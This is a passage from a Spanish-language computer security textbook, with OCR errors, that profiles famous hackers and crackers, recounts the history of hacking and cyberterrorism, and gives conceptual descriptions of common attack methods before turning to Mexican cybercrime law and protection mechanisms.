Figura 1.7: Dan Farmer

Paul Baram

De Rand Corporation, posiblemente el mayor hacker de la historia. En 1962 Baram
comenzo6 a hablar por primera vez de redes de computadoras descentralizadas. El fue quien
introdujo el concepto de Hacker.
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Steve Wozniak

Ejemplifica el suefio hacker. Apenas saliendo de la universidad los dos Steves (Wozniak
y Job) se fijaron en disefiar juegos de computadora para Atari y construir cajas azules para
si mismos, Woz construye el Apple 1. No tiene ningin teclado, ningin sonido o graficos.
Pero gracias a ellos Apple nace en 1976. Wozniak negocia su calculadora programable HP y
trabajos, venden su camioneta WV para financiar la produccién en un garaje en Palo Alto.
Steve Wozniak™ continda trabajando para Apple.

Figura 1.8: Steve Wozniak

Eric Steven Raymond

Es el abuelo de los hackers de hoy. Molesto por que la mayoria de la gente emplea mal
el término hacker, escribié el diccionario del hacker y cémo ser hacker. Lo respetan no solo
por sus habilidades que asombran como programador, si no también por su fuerte defensa
al movimiento de software libre.

Figura 1.9: Eric Steven Raymond

Uhitp://www.woz.org
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1.8.3. Crackers

A continuacién se listan algunos crackers famosos.

Kevin Mitnick a.k.a Condor

Probablemente el cracker més conocido del mundo, fue el primer cracker que tuvo su
fotografia puesta en uno de los posters de los mds buscados del FBI. Mitnick comenzé su
carrera como phreaker, Mitnick cracked todo tipo de seguridad imaginable, incluyendo
lugares militares, corporaciones financieras, firmas de software y companias telefonicas.
Por ejemplo, siendo todavia un adolescente, cracked la Nort American Aerospace Defense
Command. Mantuvo durante dos anos a la policia detras de él hasta que penetré en la
computadora de Tsutomo Shimomura. Después de un tiempo fue capturado y procesado.
Actualmente se encuentra en libertad y acaba de cumplir la prohibicién de no tocar una
computadora la cual duro cinco anos, fundé su empresa Defensive Thinking'® que asesora y
proporciona servicios seguridad en cémputo.

Figura 1.10: Kevin Mitnick a.k.a. Condor

Kevin Poulsen a.k.a Dark Dante

Siguié el mismo camino que Mitnick, pero es mas conocido por su habilidad para controlar
el sistema telefénico de Pacific Bell. Incluso llego a ganar un Porsche 944 S2 en un concurso
radiofénico, asegurando la llamada 102. Poulsen también crackeo todo tipo de sitios, pero
se inclinaba por aquellos que contenian material de defensa nacional. Esto fue lo que lo
llevé a una estancia en la cdrcel de 5 anos (gracias a un episodio de Unsolved Mysteries),

fue liberado en 1996. Actualmente es editor de Security Focus'.

2hitp://www.defensivethinking.com/
Bhttp://www.securityfocus.com/
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Figura 1.11: Kevin Poulsen a.k.a. Dark Dante

John Draper a.k.a. Capitin Crunch

Fue uno de los primeros hackers en hacerse famoso internacionalmente. John Draper
encontro la forma de hacer llamadas telefénicas gratis enganando a la central telefénica
con el sonido de un silbato que venia de regalo con unos cereales llamados Capitdn Crunch
de ahf su apodo. Su silbato producia un sonido de 2600 hertz que confundia a la central
autorizando las llamadas. Iniciador del Phreaking. Escribié el primer programa para PC de
la IBM. Creo su propia firma de seguridad informética, creo Crunchbox un firewall contra
virus de computadora, actualmente trabaja en el desarrollo de tecnologia anti-spam.

Figura 1.12: John Draper a.k.a. Capitan Crunch

Mark Abene a.k.a. Phiber Optik

Esta persona es uno de los fundadores de Masters of Deception. Su trabajo a destacar
es que ha inspirado a miles de jovenes a que conozcan y penetren el sistema telefonico de
los EU. Fue sentenciado a un ano de prisiéon como aviso a los demas crackers. Ademas
fue reconocido varias veces por la revista New York como uno de los 100 hombres mads
inteligentes del mundo. Primer computadora que poseydé Radio Shack TRS-80 (Trash-80).

Andlisis de Amenazas de Seguridad en Cémputo



1.8 Amenazas 22

Figura 1.13: Mark Abene a.k.a. Phiber Optik

Robert Tappan Morris

Este hombre, hijo del jefe de cientificos de National Computer Security Center puso
de moda la palabra hacker al liberar accidentalmente un gusano (worm) por medio de
Internet en el ano 1988. Por culpa de este gusano miles de computadoras fueron infectadas
y luego se colapsaron. Gracias a su habilidad desde joven se consiguié una cuenta de super
usuario (root) dentro de la red de Bell Labs. Cuando el Servicio Secreto de los Estados
Unidos entré en 1990 a la casa de Erik Bloodaze, miembro del grupo de hackers Legion of

Doom, encontré una copia del codigo del gusano creado por Morris. actualmente es profesor
asistente del MIT.

Figura 1.14: Robert Tappan Morris

Vladimir Levin

Esta persona era un licenciado en matematicas en la Universidad de San Petersburgo.
Consiguié robar 10 millones de ddlares de Citybank desde Rusia. Para ingresar a la
computadora de Citybank en NY. Lewvin, utiliz6 las computadoras de la firma donde
trabajaba, AO Saturn, en San Petersburgo. Fue arrestado y condenado a 3 anos de
prision. A partir de este suceso Citibank comenzé a utilizar una Tarjeta de Cifrado Dinama-
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co, un sistema de seguridad tan fuerte que ninguna otra firma financiera en el mundo lo tiene.

Figura 1.15: Viladimair Levin

Johan Helsingius a.k.a. Julf

Operaba el remailer mas popular del mundo penet.fi antes de ser cerrado en Septiembre
de 1996. Los problemas comenzaron con la policia finlandés cuando la iglesia Scientology
se quejo por que un cliente de penet.fi filtraba los secretos de la “iglesia” en el remailer.
Actualmente presta sus servicios a firmas de todo el mundo.

Figura 1.16: Johan Helsingius a.k.a. Julf

Ian Murphy a.k.a. Capitdin Zap

El 1981 se convirtié en la primera persona arrestada por delito informético. Ilan
Murphy hackeo las computadoras de AT & T y cambio los relojes internos. La gente
recibié repentinamente descuentos por la tarde, mientras que los que llamaban por la media
noche tenian cargos fuertes. Fue sentenciado a 1000 horas de trabajo comunitario y 2 de
libertad condicional. Dirige su propia compaiia de seguridad IAM Secure Data Systems, Inc.
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Figura 1.17: Ian Murphy a.k.a. Capitin Zap

Justin Tanner Peterson a.k.a. Agent

Peterson crackeaba las agencias de crédito, es decir, le llamaba mads la atencién el dinero
que la curiosidad. Esta falta de personalidad lo llevé a su caida y a la de otros, es decir
cuando fue capturado, Peterson descubrié a todos sus amigos, incluyendo a Kevin Poulsen.
Después consiguié un trato con el FBI para trabajar como clandestino. Esto le facilité la
salida de la cércel. No se le pudo demostrar un supuesto fraude mediante una transferencia
de dinero.

1.8.4. Historia del Hacking

Al inicio cuando la compania telefénica Bell originé una camada de hackers en 1978 no
eran llamados hackers.

Cerca de 1960 surgieron los primeros hackers de computadora. La primera generacién
de los phreakers, los geeks del MIT tenian una curiosidad insaciable sobre como trabajaban
las cosas. En esos dias las computadoras eran grandes chasises, a temperatura controlada.
Los programadores limitaron el acceso a los dinosaurios. Algunos de ellos crearon lo que
llamaron atajos que hacian que las tareas de computo se realizaran mas rapido que el original.

El mejor hack fue realizado en 1969, 2 empleados de los laboratorios Bell piensan en
crear un sistema con reglas mas abierto y hacer que las maquinas funcionen mas alla de la
frontera. Dennis Ritchie y Ken Thomson llaman a sus sistema operativo UNIX.

En los 70°s la frontera estaba abierta de par en par. El hacking fue todo sobre explorar
cémo trabajaban las cosas. Cerca de 1971 un veterano de Vietnam llamado John Draper
descubre que un silbato dentro de las cajas de un cereal conocido como Capitan Crush
reproducia perfectamente un tono de 2600 megahertz. Simplemente silban en un receptor
de teléfono para hacer llamadas gratis, gracias a ATEHT.

En 1981 surge la PC; pronto los adolecentes exploran la Commodore 64 o la Trash-80.
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Figura 1.18: Primeras Computadoras

La pelicula War Games de 1983 mostré al mundo la cara oculta de hacking advirtiendo a
las audiencias que por toda la nacién los hackers podrian conseguir cualquier sistema de
computo.

La ARPANET crecia y se formaba el Internet, en Milwaukee un grupo de hackers lla-
mado 414 irrumpia dentro de sistemas de instituciones como los laboratorios de los Alamos.
Entonces la policia los arresto.

La conexidén con la KGB

En 1986, el astronomo Clifford Stoll detecté un error de 75 centavos en la computadora
del sistema. Este error no se debia a un truncamiento o redondeo. Aparentemente, la
cuenta que provoco el error habia sido creada de manera ilegitima. También descubri6é que
se estaba utilizando una cuenta de un usuario que se encontraba de ano sabatico en Inglaterra.

Stoll decidi6 empezar una investigacion. Descubrié que el intruso habia explotado un
hueco en el programa emacs para entrar al sistema y posteriormente buscaban informacion
para atacar otros sistemas (como contrasenas que guardaban los usuarios en sus archivos).

El intruso atacaba principalmente maquinas del dominio .mil (i.e. del Departamento
de la Defensa de EUA), en busqueda de informacion bélica confidencial (logré penetrar
maquinas de la NSA, CIA, FBI y NASA entre otras). También descubrié que el intruso se
conectaba por via telefénica.

Para rastrear la llamada, se requeria que el intruso permaneciera varios minutos en
sesion. Para lograr esto, Stoll cre6 informacion falsa sobre diversos aspectos militares.

Finalmente, los intrusos fueron aprendidos. Habian atacado varias maquinas y vendian
la informacién a la KGB, para poder comprar cocaina. En febrero de 1990, fueron acusados
de espionaje y sentenciados a dos anos de prision, ademds de tener que pagar una multa de
12,000 délares y perder el derecho a votar en las elecciones.
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Propagacion de la cultura underground

Los intrusos forman grupos como Chaos Computer Club (CCC) o Legion of Doom
(LoD), realizan encuentros como Iberhack y editan revistas o zmnes electrénicos como
2600: The Hacker’s Quarterly®® o Phrack™ son quizds las mas conocidas, pero hace afios
cualquiera que quisiera adentrarse al mundo underground casi no tenfa mas remedio que
conectar alguna BBS donde se tratara el tema generalmente con cantidad de informacién
limitada.

De la misma manera que en su dia War Games creé una nueva generacion de hackers,
en la segunda mitad de los noventa peliculas como The Net, Hackers o Corsarios del Chip,
han creado otra generacién, en general mucho menos peligrosa que la anterior, pero cuanto
menos, preocupante, aunque sin grandes conocimientos técnicos, tienen a su disposicién miles
de programas y documentos de seguridad, PCs potentes y conexiones a alta velocidad en
Internet. Ademads se comunican en medios como IRC (Internet Relay Chat), donde canales
como hack o hackers presumen sus logros.

Legion of Doom (LoD) y The Masters of Deception (MoD)

En 1984 Lex Luthor fundé la Legion of Doom (LoD). Esta legién se caracteriza-
ba por tener lo mejor de lo mejor. Hasta que Phiber Optik rivalizé con Erik Bloobaze en
consecuencia los amigos de Phiber formaron un grupo rival The Masters of Deception (MoD).

Comenzaron en 1990, LoD y MeD mantuvieron una guerra por casi 2 anos, intervenian
las lineas telefénicas, violaban unos a otros las computadoras personales. Entonces los
federales los atraparon. Para Phiber y sus amigos esos significo la céarcel.

Figura 1.19: Pantalla electronica hackeada

En la pantalla electronica del metro de NY los hackers la reprogramaron para leer The
Hacker Quarterly.

Yhttp://www.2600.com
hitp://www.phrack.com
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Ley federal por actos de fraude y abuso de computo

Con el gobierno en linea, la diversién terminaba. En 1986 el Congreso de EUA aprobé la
ley federal por actos de fraude y abuso de computo. Fue entonces cuando Robert Morris
liberd su gusano de Internet en 1988, sumando 6,000 computadoras infectadas y se convierte
en ser la primera persona en ser condenada por los cargos de crimen de computo. Con lo
cual se le condena a una multa de 10,000 délares y muchas horas de servicio a la comunidad.

El Internet Worm

El 22 de noviembre de 1988, un programa auto-replicable, llamado worm, atacé a
aproximadamente 6,000 computadoras. Este programa se copiaba de miquina en maquina
y aumentaba la carga de trabajo tanto que las hacia inoperables o incluso se caian. Miles
de computadoras conectadas a la red se vieron inutilizadas durante dias y las pérdidas se
estiman en millones de délares. Aunque el worm atacaba sistemas VAX y Sun-3, toda la
comunidad se enterd y causé una gran angustia.

El worm explotaba huecos en los programas sendmail, finger, rsh, y rexec buscaba en los
archivos . forward y .rhosts sus proximas victimas. También trataba de adivinar contrasenas
y desde esas cuentas propagar su ataque.

Répidamente se detecté que Robert Morris, estudiante de la Universidad de Cornell, era
el culpable. A pesar de que dijo que lo hizo con buenas intenciones, como un experimento,
fue la primera persona condenada bajo cargos de Fraude de computadora y actos de abuso
federales de 1986. Se le sentencié a 3 anos en libertad condicional, 400 horas de trabajo
comunitario y tuvo que pagar una multa de 10,000 délares.

Figura 1.20: Robert Morris asistiendo a la corte

Operacion Sundevil

Solo fue cuestion de tiempo para que se continuara con las detecciones. En 1988 Kevin
Mitnick irrumpe dentro de la red de computadoras de la companias Digital Equipment
y es sentenciado a un ano de carcel. Después Kevin Poulsen es procesado por cargos de
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phreaking. Evité ser arrestado por 17 meses.

La operacion Sundevil fue un nombre que el gobierno dio a su tentativa de intentar
erradicar a los hackers a través del pais. No funciond, pero la medida enérgica resulté en
sentencias de carcel para cuatro miembros de Masters of Deception. Phiber Optik paso un
ano en prision federal.

Mucha gente no aprende de sus errores. En febrero de 1995 Kevin Mitnick fue arrestado
por segunda ocasion. Esta vez el FBI lo acusé de robar 20,000 niimeros de tarjetas de crédito.
Estuvo en la cdrcel por més de un ano antes de ser declarado culpable en abril de 1996 por
uso ilegal de nimeros de celular robados.

El caso Shimomura

En la navidad de 1994, Shimomura, un experto en seguridad detectd que las bitdcoras
de la maquina que tenia a su cargo habian sido modificado. Esto no podia deberse més que
a una intrusion.

Después recibié una llamada extrafia en la que se le pedia que entregara la informacion
que tenia con respecto a teléfonos celulares y ¢cémo atacarlos.

Shimomura logré reconstruir las bitacoras del sistema y descubrié que lo habian logrado
penetrar a su sistema con un ataque de IP-spoofing.

Siguié recibiendo llamadas anénimas, primero pidiéndole la informacién amablemente
y luego con amenazas. Esta manera de obtener informacién se llama ingenieria social y
aunque no utiliza tecnologia, sino mas bien la psicologia, es una manera muy eficaz de
obtener datos para luego atacar sistemas.

Kevin Mitnick, quien habia robado miles de dolares en informacién, habia interceptado
cientos de numeros de tarjetas de crédito y cometido varios fraudes, era la persona que habia
irrumpido en la maquina de Shimomura. Fue capturado en febrero de 1995 y sentenciado a
varios meses de carcel.

Viendo a Mitnick que era conducido encadenado en TV nacional de EUA se aterrorizo a
los usuarios de la red sobre los hackers utilizando herramientas como sniffers de contrasenas
para obtener informacién privada, o spoofing para enganar a una maquina y obtener acceso.
Llamado como el fin de la anarquia, la muerte de la frontera. Los hackers eran antiheroes,
unos excéntricos que solo deseaban aprender cosas. En una red donde se prometia dirigir el
negocio mundial. Los hackers se convertian en ladrones.

El caso Citibank

En verano de 1994 un hacker ruso irrumpe dentro las computadoras de Citibank e hizo
transferencias no autorizadas que sumaban mas de 100 millones de délares de las cuentas de
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Figura 1.21: Kevin Mitnick Arrestado

clientes. Citibank recuperd cerca de 400 mil, pero el susto cerré el hueco.

Bug 2k

Con el acercamiento del milenio se dio una ciber histeria general sobre el famoso hueco
del 2k, que era relacionado con ataques de hackers. Y estos fueron experimentados por un
cada vez mayor nimero de personas que navegaban por la red.

Ataques de Denegacién de Servicio (DoS)

En la segunda semana de Febrero del 2000 algunos de los sitios de Internet mas populares
(CNN, Yahoo, E-Na y Datek) fueron objeto de ataques de Negacion de Servicio (Denial of
Service). Sus redes eran bloqueadas con peticiones falsas enviadas por miltiples computa-
doras bajo el control de un solo hacker, el hackeo de estos sitios generé millones en perdidas
por ventas.

Virus I Love You

En mayo del 2000 un virus de propagacion masiva aparecia, [ love You, el virus infectd una
imagen y los archivos de sonido, rapidamente hizo copias de si mismo y fue enviado a todos
los miembros de la libreta de direcciones.

Los ataques contra sitios ‘seguros’como The White House , FBI y Microsoft.com han
promovido que a pesar del despiste piblico y la informacién privada en tecnologia y la
metodologfa de la ciber defensa, los hackers continudn planteando una amenaza seria a la
Infraestructura de Informacion IT.

Ellos creen que sus acciones estan al servicio de la sociedad (el sindrome de Robin
Hood). Pueden también tender a deshumanizar o para culpar a la victima que atacan. Los
mismos hackers comparten un sentido de 'flexibilidad ética’, que es que el contacto humano
se reduce al minimo sobre la computadora.

La psicologia del hacker criminal puede deberse a un sentido profundo de inferioridad.
Por lo tanto, la maestria de la informdtica, o cierre de un sitio importante, puede darle
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Figura 1.22: Virus: I Love You

sentido a la energia. Es una poblacion que se refugia en la computadoras debido a sus
problemas para mantener relaciones con el mundo real, estropear millones de délares es un
verdadero viaje de energia.

Para parar un ataque de un hacker se debe pensar como hacker.

Cada vez los delitos informédticos son mas sofisticados y potencialmente mas peligrosos.
Hay cerca de 2,500 piezas de cédigo hacker publicados y disponibles en la Web. Con més
sistemas hay mads vulnerabilidades.

Con la explosion de Internet cerca de 300 millones de usuarios estdn conectados por un
laberinto de redes. Pero las consideraciones de seguridad pasan a segundo plano al estar
en linea, y cada conexion de red es una abertura potencial a los hackers. Las conexiones
por mddem, DSL y de alta velocidad para los usuarios de PC personal, plantean problemas
potenciales de seguridad ya que proporcionan més oportunidades para el robo de los sistemas.
Si se tiene un computadora conectada al Internet es casi seguro que haya sido atacada por
los hackers.

Figura 1.23: Mudge declarando en el Capitolio

Hacker de computadoras a.k.a. Mudge testificando en el Capitolio en 1998. la sequridad
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en computo es fragil y él y otros hackers podrian deshabilitar la Internet entera en media hora.

Los hackers actualmente emplean un continuo cambio de herramientas para irrumpir
dentro de los sistemas de computo.

1.8.5. Ciber Terrorismo

Hubo un tiempo en que utilizar computadoras como armas de destruccién masiva era una
fantasia. Pero hoy en dia, se ve en medios de comunicacién como CNN o Foxr News donde
se escucha como pueden dar la computadoras a Osama Bin Laden la dominacién de mundo.
Muchos creen que el proximo ataque a suelo americano involucrard armas nucleares o armas
biologicas, pero parece ser que la amenaza real est 4 en nuestra propia casa.

Figura 1.24: Fundamentalista musulman Sheikh Omar

El ciber terrorismo es descrito como el uso de computadoras para intimidar o destruir a
una poblacion, armado con nada més que un disco duro y un teclado, los terroristas serén
capaces de controlar los precios del mercado, alterar los codigos de seguridad de la Casa
Blanca, cambiar las formulas de prescripcion de medicamentos. Eso hace al ciber terrorismo
atractivo a grupos como al-Qeda ya que Internet no tiene limites. Aqui no hay ningtin retén
o fronteras motanosas, y los ciber terroristas pueden utilizar el ciber espacio para acceder a
informacién sensitiva y propagar su doctrina por donde quiera. Recientemente Sheikh Omar
Bakri Muhammad un fundamentalista musulman que ha sido relacionado con los eventos
del 11 de Sep, dice que el islam justifica el uso de todos tipos de tecnologias en la defensa
de los Musulmanes. Por lo que se concluye que que estos grupos estan activos en Internet
y no debe de sorprender si manana se escucha sobre un gran colapso econémico por que
alguien ataco los sistemas principales de los sistemas técnicos en la grandes companias.

Ciber terrorismo es una mala palabra de acuerdo a Bruce Schneier ya que no hay terror
en el ciber espacio, segin él, la gente confunde ciber terrorismo con lo que se llamo ciber
hooligans (estos incluyen a Capitan Crush, Kevin Mitnick y otros por el estilo). También
los terroristas tratan de tomar parte de la resistencia podrian tomar todos los sistemas de
computo de un edificio, los terroristas necesitan de gran impacto para realizar sus acciones,
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los terroristas de Sep 11 pudieron haber hackeado todas las computadoras del WTC pero no
hubiera tenido el mismo impacto.

Figura 1.25: Hacker Ehud Tenebaum
En 1998 un joven israeli Ehud Tenebaum hackeé computadoras del pentdgono.

El tremendo rol de las computadoras estimula a criminales y terroristas a convertirse
en su herramienta preferida para atacar sus objetivos. Internet proporciona un campo de
batalla virtual para paises que tienen problemas unos con otros como es el caso de Taiwan
contra China, Israel contra Palestina, India contra Pakistan, China contra EU, v muchos
otros paises.

Esta transformacion en los métodos de terrorismo de métodos tradicionales a métodos
electrénicos ha sido uno de los grandes cambios de las sociedades modernas.

. Quienes son los ciber terroristas 7

Desde el punto de vista americano el grupo terrorista mas peligroso es Al-Qeda el cual
el considerado el primer enemigo para los EU. De acuerdo con oficiales de EU situados
en Afganistan indican que el grupo ha explorado facilidades de sistemas que controlan la
energia, distribucién de agua, sistemas de comunicaciéon y otras infraestructuras criticas de
territorio americano.

Después de la colision del aeroplano espia de la Marina de los EU en Abril del 2001, los
hackers chinos lanzan ataques de DoS contra sitios Americanos.

Un estudio que cubrié la segunda mitad del ano 2002 mostré que la nacién mas peligrosa
donde se originan los ciber ataques con cdigos maliciosos es Estados Unidos con un 34.5 %,
Corea del Sur con 12.8%, seguida por China con 6.2 % después Alemania con 6.7% luego
Francia con 4%. El Reino Unido ocupa el noveno lugar con 2.2%. De acuerdo al mismo
estudio, Israel fue el pais més activo en términos de nimero de ciber ataques relacionados
con el mimero de usuarios de Internet. Por lo que aqui hay muchos grupos que estdn muy
activos atacando objetivos a través de la computadoras.
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Figura 1.26: Sitio Chino hackeado por hackers de Taiwan

El grupo Uniz Security Guards (USG) un grupo pro isldmico lanzaron muchos ataques
digitales en Mayo del 2002. Otro grupo llamado World’s Fantabulas Defacers (WFD)
atacaron muchos sitios indues. También hubo otro grupo pro pakistani llamado Anti In-
dia Crew (AIC) que lanzé muchos ciber ataques en contra de la India. Hay muchos grupos
Palestinos e Israelies peleando unos contra otros con ciber ataques.

. Qué pueden realizar los ciber terroristas ?

El 21 de Octubre del 2002 en un ataque de DDoS (Negacion de Servicio Distribuido)
dirigido a los 13 root servers que proporcionan el mapa primario de todas las comunicaciones
en Internet, nueve servidores quedaron fuera de operacién. El problema fue resuelto con
cuidado en un corto tiempo.

De acuerdo con Kevin Coleman en octubre 10 del 2003, Internet podria darse de baja
un dia causando pérdidas por cerca de 6.5 billones de délares en transacciones.

Un hacker deshabilita el sistemas de cémputo de la torre de control del aeropuerto en
At Worcester, Mass en 1997.

El mismo ano un hacker de Suiza bloquea el sistema de emergencia telefénica conocido
como 911 en Florida. Esto indica que pueden realizarse ataques desde cualquier parte del

mundo.

En 1988 ataques son lanzados contra sistemas de computo de la NASA, la Marina y el
Departamento de Defensa de los EU.

En el 2000, alguien hackeo Maroochy Shire, el sistema de control de desechos de Australia
y lanzé millones de galones a aguas residuales en la ciudad.

En Rusia en el ano 2000, un hacker pudo controlar el sistema informdtico que gobierna
el flujo de gas natural a través de la tuberias.

Las instituciones financieras han estado confrontando ataques diarios o procuran
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hacerlos. Son los bancos los objetivos preferidos de los ciber criminales.

Los profesionales de la ciber guerra en Israel dirigieron sus ataques interrumpiendo la
comunicacién de activistas pacifistas de derechos humanos en los EU, provocando interrup-
ciones en la comunicaciones en julio y agosto del 2002, acosando a centenares de usuarios de
computo y molestando a miles mas.

Definicion de Ciber Terrorismo

El FBI ha definido el ciber terrorismo como Un ataque premeditado, motivado
politicamente en contra de sistemas de informacion de céomputo, programas
de computo, y datos, los cuales resultan en violencia en contra de objetivos
no combatientes por grupos o agentes clandestinos.

El Centro para la Proteccion de la Infraestructura Nacional de los EU define el término
como: Un acto criminal perpetrado por el uso de computadoras y capacidades
de telecomunicaciones, resultando en violencia, destruccion y/o interrupcion
de servicios para crear miedo con la confusion causada y la incertidumbre en
la poblacion, con el ézxito para influenciar al gobierno o a la poblacion para
confrontarse con la agenda politica, social o ideoldgica en particular.

James Lewis de el Centro de Estrategia y Estudios Internacionales definié el Ciber
Terrorismo como: El uso de herramientas de redes de computo para apagar la
infraestructura nacional (como energia, trasporte, operaciones de gobierno)
para forzar o intimidar a una poblacion, gobierno o civiles.

Los Ciber terroristas prefieren el uso de métodos de ataque porque tienen muchas ventajas
para ellos:

= Es mas barato que los métodos tradicionales

= Las acciones son més dificiles de ser registradas

= Pueden esconder sus personalidades y ubicacion

» No existen barreras fisicas o fronteras ni puntos de chequeo

= Se pueden realizar acciones remotas desde cualquier parte del mundo

» Se pueden utilizar estos métodos para atacar a una enorme cantidad de objetivos

= Pueden afectar a una gran cantidad de personas
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1.9. Meétodos de Ataque

A continuacién se describen las amenazas légicas que son los métodos utilizados en el
hacking y el cracking. Estos métodos generales abarcan los accesos desde el exterior asi como
la manipulacién fisica de los recursos de cémputo.

La informacion es poder. La primera fase en todo intento de intrusién intenta obtener
informacion, ya sea estudiando arquitecturas del sistema operativo, analizando vulnerabili-
dades, etc.

Intrusion

Una intrusion ocurre cuando un intruso obtiene acceso al sistema y es capaz de utilizar
y modificar este sistema, de manera similar a un usuario legitimo. En algunos casos una
contrasena rigurosa puede proteger en contra de este tipo de ataque, con el bloqueo de
cuenta después de tres intentos, etc. Sin embargo, las politicas necesitan ser reforzadas para
proteger en contra de ataques.

Espionaje Industrial y Robo de Informacion

El espionaje industrial se estd incrementando, reportes recientes indican que actualmente
en 122 paises se lleva a cabo ataques de espionaje industrial y espionaje econémico para
beneficiar a sus respectivos estados. Los estudios demuestran que la mayoria de estos ataques
son cometidos por empleados formales. Los tres tipos de ataques més daninos de robo de
informacién son el precio de la informacién, manufactura del proceso de informacién, y desar-
rollo de productos e informacion especifica. Otros tipos de robo de informacién incluyen listas
de clientes, investigacion basica, informacion de ventas, informacién personal, informacion
sobre devolucién de dinero, costo de la informacién, propuestas, y planes de estrategia.

Caballos de Troya

Consiste en introducir dentro de un programa una rutina o conjunto de instrucciones,
por supuesto no autorizadas y que la persona que lo ejecuta no conoce, para que dicho
programa actiie de una forma diferente a como estaba previsto (Ej. Formatear el disco duro,
modificar un archivo, mostrar un mensaje, etc.).

Suele ser utilizado para cambiar la pantalla de login (imitandola), descubriendo de esta
manera la contrasena de usuario.

Superzapping

Se denomina superzapping al uso no autorizado de un programa editor de archivos para
alterar, borrar, copiar, insertar o utilizar en cualquier forma no autorizada los datos alma-
cenados en los soportes de una computadora. El nombre proviene de una utilidad llamada
SUPERZAP disenada para Mainframes y que permite acceder a cualquier parte del sistema
y modificarlo, su equivalente en PC serian las Pctools y el Norton Disk Editor.
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Puertas Traseras (backdoors)

Es una préctica acostumbrada en el desarrollo de aplicaciones complejas que los progra-
madores introduzcan interrupciones en la légica de los programas para verificar la ejecucion,
producir salidas de control, ete. con objeto de producir un atajo para ir corrigiendo los
posible errores. Lo que ocurre es que en la mayoria de los casos cuando el programa se en-
trega al usuario estas rutinas no se eliminan del programa y proveen al intruso de accesos o
facilidades en su labor si conoce cémo descubrirlas.

Bombas légicas

Este suele ser el procedimiento de sabotaje més cominmente utilizado por empleados
descontentos. Consiste en introducir un programa o rutina que en una fecha determinada
destruira o modificara la informacién, o provocara alguna caida del sistema.

Ataques asincronizados

Este es quizd el procedimiento mds complicado y del que menos casos se ha tenido
conocimiento. Se basa en las caracteristicas de los grandes sistemas de computo para re-
cuperarse de caidas, para ello periddicamente se graban los datos como volcado de memoria,
valor de los registros, etc. de una forma periddica. Si alguien consiguiera hacer caer el sistema
y modificar dichos archivos en el momento en que se ponga de nuevo en funcionamiento el
sistema, este continuard con la informacién facilitada y por tanto la informacién podria ser
modificada o cuando menos provocar errores.

Ingenieria social

Bésicamente convencer a la gente de que haga lo que en realidad no deberia. Por ejemplo,
llamar a un usuario haciéndose pasar por administrador del sistema y requerirle la contraseria
con alguna excusa convincente.

Recoger basura (trashing)

Este procedimiento consiste en aprovechar la informacién abandonada en forma de
residuo. Existen dos tipos: fisico y electrénico:

» Fisico: Se basa principalmente en los papeles abandonados en papeleras y que
posteriormente van a la basura. Por ejemplo, el papel donde un operario apunté su
contrasena y que deshecho al memorizar, listados de pruebas de programas, listados de
errores que se desechan una vez corregidos, etc.

= Flectrénico: Se basa en la exploracion de zonas de memoria o disco en las que queda
informacion residual que no fue realmente borrada. Por ejemplo, archivos de swapping,
archivos borrados recuperables, archivos de cola de impresion, etc.
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Simulacion de identidad

Bésicamente es utilizar una terminal de un sistema en nombre de otro usuario, puede ser
porque se conoce su clave, porque abandoné la terminal pero no se desconecté y es ocupado
su lugar. El término también es aplicable a la utilizacién de tarjetas de crédito o documentos
falsos a nombre de otra persona.

Autorooter

Un autorooter, es una herramienta automatizada que permite a los individuos con un
minimo de destreza establecer para escanear, explotar, y controlar miles de sistemas, Esta
es de las herramientas que causan mucho de los escaneos que se detectan a diario en los
sistemas.

Sniffers

Un sniffer es un programa que captura todos los paquetes que pasan por una determi-
nada red, almacenando todos los que cumplan ciertos requisitos en archivos de registro. Por
ejemplo, los archivos correspondientes al proceso de usuario/contrasena. En estos archivos
suele haber mucha informacién sobre el sistema y su red, pero varias veces pueden resultar
demasiado grandes. Para hacer esto hace falta poner una tarjeta de red en modo promiscuo,
aunque si no se hace solo se capturara los paquetes de una sola maquina, no los de toda la
red.

Fake mail

Este es el arte de mandar mensajes, a nombre de otra persona.

Fuerza bruta

Consiste en ir probando todos las contrasenas una a una, generalmente conociendo de-
terminada informacion acerca de la posible victima y asi generar todas las posibilidades.
Bombas de mail

Consiste en bombardear una cuenta de correo electronico con gran cantidad de correos
electrénicos y cuanto mas ocupen cada uno de estos, sera mds probable bloquear la cuenta
de correo de la victima temporalmente.
Flooding

Es utilizado para bloquear diversos servicios de un sistema saturandolo con peticiones de
datos. No es excesivamente peligroso, pero es util para inutilizar un servidor.
Nukeo

Mandar mensajes ICMP y TCP para hacer reiniciar las conexiones de diversos puertos.
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Huecos de seguridad

Ingresar a un sistema, mediante la explotacién de un hueco de seguridad es uno de
los métodos mas utilizados. Si se mantiene una constante actualizaciéon de los parches de
seguridad que proporciona el proveedor se disminuye este riesgo.

Ataques remotos

Por ataque remoto se entiende todo aquel ataque proveniente de una entidad que carece
de acceso legal al sistema y ejecuta el ataque o bien desde la terminal, accediendo a la
terminal objetivo como usuario no privilegiado (por ejemplo guest).

Negacién de Servicio (Denial of Service (DoS))

El objetivo de estos ataques no suele ser la penetracién ni la obtenciéon de privilegios en la
maquina remota, es simplemente colapsarla y hacerla caer. Son programas que remotamente
aprovechan alguna vulnerabilidad del sistema y lo hacen caer.

Exploits

Estos ataques son muy frecuentes por parte de los intrusos poco experimentados. Son
programas que se compilan y ejecutan en un sistema remoto y que explotan algiin hueco en
algtin demonio, programa con suid. La mayoria de los ezploits comprometen la seguridad del
root local pero hay demasiados y muy distintos.

Ataques manuales

Son aquellos ataques que se realizan sin utilizar ninguna herramienta. Estos ataques
generalmente son llevados a cabo por personas con elevados conocimientos de computo y se
basan en fallos de configuracion de cualquier elemento del sistema.

Estos son solo algunos de los muchos métodos de ataque utilizados
por los intrusos. Constantemente salen a luz nuevos métodos de ataque.
A continuacion seran descritos algunos mecanismos para protegerse de estos ataques.

1.10. Delito Cibernético

En México cualquier acceso no autorizado a un sistema de computo, puede ser castigado,
si se siguen los procedimientos adecuados. Al presentarse una intrusion en un sistema de
computo, se recomienda avisar a las autoridades correspondientes y solicitar apoyo a las
organizaciones especializadas como CERT-MEXICO'®, PGR, PFP". Acudir al ministerio
publico a denunciar este ilicito. Este tipo de delito esta tipificado dentro del Cédigo Penal
Federal este se puede consultar en el Apéndice B'®.

Whttp://www.cert.org.mx
1"Delitos Ciberneticos http://www.ssp.gob.mx/
18 Apéndice B, Acceso Ilicito a Sistemas y Equipos de Informdtica
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1.11. Mecanismos de proteccion

Por regla general, las politicas son el primer paso del que dispone una organi-
